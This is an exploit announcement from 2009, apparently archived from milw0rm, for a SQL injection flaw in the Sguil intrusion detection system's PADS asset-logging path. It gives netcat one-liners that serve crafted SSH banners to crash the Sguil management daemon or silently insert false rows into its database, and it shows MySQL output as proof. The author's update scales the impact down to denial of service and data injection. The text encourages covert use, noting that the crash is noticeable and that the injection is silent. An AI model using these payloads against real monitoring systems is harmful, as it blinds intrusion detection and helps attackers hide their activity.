81 lines
4.3 KiB
Text
Executable file
81 lines
4.3 KiB
Text
Executable file
Sguil/PADS Denial of Service exploit
|
||
by Ataraxia (Benjamin Rose)
|
||
Public announcement made 7/15/09.
|
||
|
||
Please visit http://allmybase.com/ (my blog) for more up-to-date
|
||
information, and a quick patch.
|
||
|
||
More in-depth article available at: http://allmybase.com/?p=72
|
||
|
||
This more in-depth article does include additional details and
|
||
the actual code that is being exploited, if you're interested...
|
||
|
||
##########################################################################
|
||
UPDATE 7/17/09 @ 14:41:
|
||
In speaking with the creators of the sguil software, it seems that
|
||
I have greatly overestimated the reach of this bug. I had assumed that
|
||
it would be possible to run multiple SQL commands within a single TCL
|
||
mysqlexec() statement, an assumption that now seems incorrect. This means
|
||
that, at best, this hole becomes a denial of service attack that could
|
||
inject incorrect data into the sguil database, and/or kill the sguil
|
||
daemon, a noisy operation. My apologies for this initial overzealousness.
|
||
##########################################################################
|
||
|
||
ORIGINAL POST, UNMODIFIED:
|
||
This exploit has the ability to render any Intrusion Detection
|
||
System utilizing the sguil monitoring useless. At the lowest level,
|
||
you can kill the master logging daemon that collates the data into
|
||
a MySQL database. I've also been able to inject random and useless
|
||
data into the MySQL database, which opens the door for an obfuscation
|
||
of an attack, or a flat-out denial of service attack. There also exists
|
||
the possibility of dropping the database altogether, though I was not
|
||
able to make this happen during my preliminary testing of the attack.
|
||
|
||
The sguil sensor boxes report back to a sguil daemon on a management server,
|
||
which in turn puts the data received into a MySQL database. The sensor
|
||
collects data from many sensor agents, the most popular ones including snort
|
||
and sancp. Since snort is the de-facto standard NIDS, sguil is found in a lot
|
||
of places where there are mission-critical NIDS, making this a potent
|
||
vulnerability. The idea here is to craft a special packet containing a SQL
|
||
statement and send it across the wire, such that the sguil-agents will pick up
|
||
on it. We will exploit the Passive Asset Detection System (PADS) -> sguil
|
||
relationship, which will be monitoring for said banner packets. Thanks to the
|
||
availability of the netcat program, there is also no need for any programming
|
||
skill. Also, the attack can run on any port, so even an unprivileged user
|
||
could potentially run this attack.
|
||
|
||
Without further ado, here's the good stuff:
|
||
|
||
TO CRASH THE SERVER:
|
||
from a box that has its traffic monitored, run
|
||
echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);–” | nc -l 7777
|
||
...and then telnet to port 7777 from another box. There will be a syntax
|
||
error in the sguil management daemon's SQL insert statement, and it will
|
||
crash rather ungracefully. This is highly noticable, so be careful!
|
||
|
||
TO INJECT DATA SILENTLY:
|
||
from a box that has its traffic monitored, run
|
||
echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’)–” | nc -l 8888
|
||
...and then telnet to port 8888 from another box. The difference here is the
|
||
semicolon in the statement. This will insert an asset into the SQL database as
|
||
ssh version 1.4, protocol 2.0. Obviously, you can have some fun with this ;-)
|
||
|
||
PROOF OF CONCEPT:
|
||
mysql> use sguildb;
|
||
Reading table information for completion of table and column names
|
||
You can turn off this feature to get a quicker startup with -A
|
||
|
||
Database changed
|
||
mysql> select * from pads where `hex_payload`=’deadbeefcafe’;
|
||
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
|
||
| hostname | sid | asset_id | timestamp | ip | service | port | ip_proto | application | hex_payload |
|
||
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
|
||
| [REMOVED] | 1 | 7 | 2009-06-08 14:28:02 | [REMOVED] | ssh | 1061 | 6 | OpenSSH 1.4 | deadbeefcafe |
|
||
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
|
||
1 row in set (0.01 sec)
|
||
|
||
|
||
Note that you don't even need to put in legit hex into the attack for it to work. Bonus points
|
||
if you put in a hexadecimal message to the sysadmin that doesn't even contain legit hex.
|
||
|
||
# milw0rm.com [2009-07-17]
|